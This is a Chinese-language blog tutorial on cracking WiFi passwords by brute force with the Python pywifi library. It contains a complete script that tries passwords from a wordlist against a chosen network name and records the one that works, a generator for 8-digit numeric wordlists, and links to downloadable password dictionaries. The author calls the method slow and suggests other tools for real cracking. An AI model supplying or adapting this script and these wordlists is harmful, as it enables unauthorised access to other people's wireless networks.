当前位置: 首页 > 工具软件 > Pythonpy > 使用案例 >

python pywifi 破解wifi密码

井宪
2023-12-01

事先声明:

pywifi只能用来练手,因为其破解速度太慢,实际使用价值不大。

pywifi的安装

pywifi是一个专门用来破解wifi密码的第三方库,可以在PyPI上面直接搜到 pywifi网页链接
从网页上也可以看到,pywifi的安装非常简单。我使用的python是3.7.1,通过:

pip install pywifi

就可以装上去。
但是,仅仅装上pywifi,这个库还是不能用,还得再装一个叫 comtypes库

pip install comtypes

然后就一切正常了。

pywifi破解wifi原理

pywifi破解密码是一种暴力破解的方式,原理就是操纵网卡,一个一个的试密码本上的密码,直到密码正确,这时电脑也会连上这个wifi。

详细脚本

import pywifi
from pywifi import const # 引入一个常量
import time

def wifiConnect(wifiname,wifipassword):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()# 断开连接
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()# 创建WiFi连接文件
        profile.ssid = wifiname# WiFi的ssid,即wifi的名称
        profile.key = wifipassword# WiFi密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)# WiFi的加密类型,现在一般的wifi都是wpa2psk
        profile.auth = const.AUTH_ALG_OPEN # 开放网卡
        profile.cipher = const.CIPHER_TYPE_CCMP# 加密单元
        ifaces.remove_all_network_profiles()# 删除所有的WiFi文件
        tep_profile = ifaces.add_network_profile(profile)# 设定新的连接文件
        ifaces.connect(tep_profile) # 连接WiFi
        time.sleep(1.5)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
def main():
    print('开始破解:')
    file = open('D:/wifikey/wifikey.txt','r')#打开密码本
    wifi_name=input('请输入所要破解的wifi的名字(请务必注意大小写):')
    while True:
        wifipwd = file.readline()
        try:
            bool = wifiConnect(wifi_name,wifipwd)
            if bool:
                print('正确密码为:'+wifipwd)
                fo=open('D:/wifikey/%s.txt'%wifi_name,'w')
                fo.write('该wifi的密码为:')
                fo.write(wifipwd)
                fo.close()
                break
            else:
               print('本次尝试的密码为:%s,状态:密码错误'%wifipwd)
        except:
            continue
    file.close()
if __name__=='__main__':
	main()

脚本解释

脚本就是对密码本中的密码,一个一个的尝试,如果密码正确,那么就建一个名字为wifi名字的文件,并把正确的密码记录在里面。
密码本的获取:
密码本可以选择自己建。使用的是itertools这个包。

import itertools as its
words_num = "1234567890"
words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
r = its.product(words_num, repeat=8)#以建8位纯数字密码本为例:
fo = open("8位密码本.txt", "w")
for i in r:
	fo.write("".join(i))
	fo.write("".join("\n"))
fo.close()

建密码本非常费时间,也可以直接下载已经建好的密码本
这是我从别处找到的超级密码本
里面有各种最常用密码,号称破解几率为40%:
链接: https://pan.baidu.com/s/1W1R-PtbbxdzFrSiL4XNsPw 提取码: vm9b
以及所有可能的密码构成的超级密码本:
链接: https://pan.baidu.com/s/1W0oX_O8zNZP6w4R3gPRHIA 提取码: 4mc6
wifi的密码长度为8到16位,记得先把里面长度不符合要求的密码先过滤掉。

分析

从脚本来看,尝试一个密码就需要2s,即便是把8位纯数字的密码尝试一遍,那么需要的时间t为:
t = 1 0 8 ∗ 2 / ( 60 ∗ 60 ∗ 24 ) = 2314.8 天 t= 10^{8}*2/(60*60*24)=2314.8 天 t=1082/(606024)=2314.8
这还只是8位的纯数字密码。
所以,想要通过pywifi破解密码根本就不可能。当然,可以通过多线程之类的缩短时间。
但是,如果你不幸忘记了某个wifi的密码,但是你知道他有可能是几个或者几十个密码中的一个,那么就可以通过脚本来把密码找出来。
(其实吧,直接把wifi reset或许更快。。)
真的想破解wifi密码,还是装虚拟机靠谱。

 类似资料: